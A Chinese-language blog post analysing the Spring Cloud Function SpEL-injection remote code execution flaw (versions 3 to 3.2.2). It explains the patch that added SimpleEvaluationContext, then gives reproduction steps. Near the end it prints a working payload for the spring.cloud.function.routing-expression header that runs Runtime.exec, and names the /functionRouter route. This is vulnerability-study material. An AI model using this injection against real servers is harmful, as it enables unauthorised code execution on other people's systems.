SpringCloudFunction漏洞分析
SpringCloudFunction漏洞分析
SpringCloudFunction是一个SpringBoot开发的Servless中间件(FAAS),支持基于SpEL的函数式动态路由。在特定配置下,3 <= 版本 <= 3.2.2(commit dc5128b
之前)存在SpEL表达式执行导致的RCE。
在commit记录中找到
分析
在本次修复的时候,增加了SimpleEvaluationContext
这样就有了两个EvaluationContext
,分别创建了两个对象
一个是StandardEvaluationContext
,``evalContext 一个是
SimpleEvaluationContext,
headerEvalContext`
接下来往下走,由isViaHeader
变量作为flag,这时候,如果是从HTTP头取到了spring.cloud.function.routing-expression
字段,就会设置一个true
,这个true
,就是接下来的isViaHeader
属性
在解析前判断spring.cloud.function.routing-expression
的值是不是取自HTTP头,如果是的话就用SimpleEvaluationContext
解析SpEL语句,不是来自外部输入时(比如System.setProperty
)才用StandardEvaluationContext
解析。
复现
测试版本:
1 | # v3.2.0 |
下载下来以后,将spring-cloud-function-samples/function-sample-pojo
路径作为项目
方式一(修改配置+任意路由)
修改配置文件,添加 如下内容
1
spring.cloud.function.definition:functionRouter
添加任意路由,构造
payload
即可1
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
方法二(默认配置+特殊路由)
默认配置
特定的路由:/functionRouter
此刻,任意路由失效,必须在特定路由下才能加载
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h0ld1rs的博客!
评论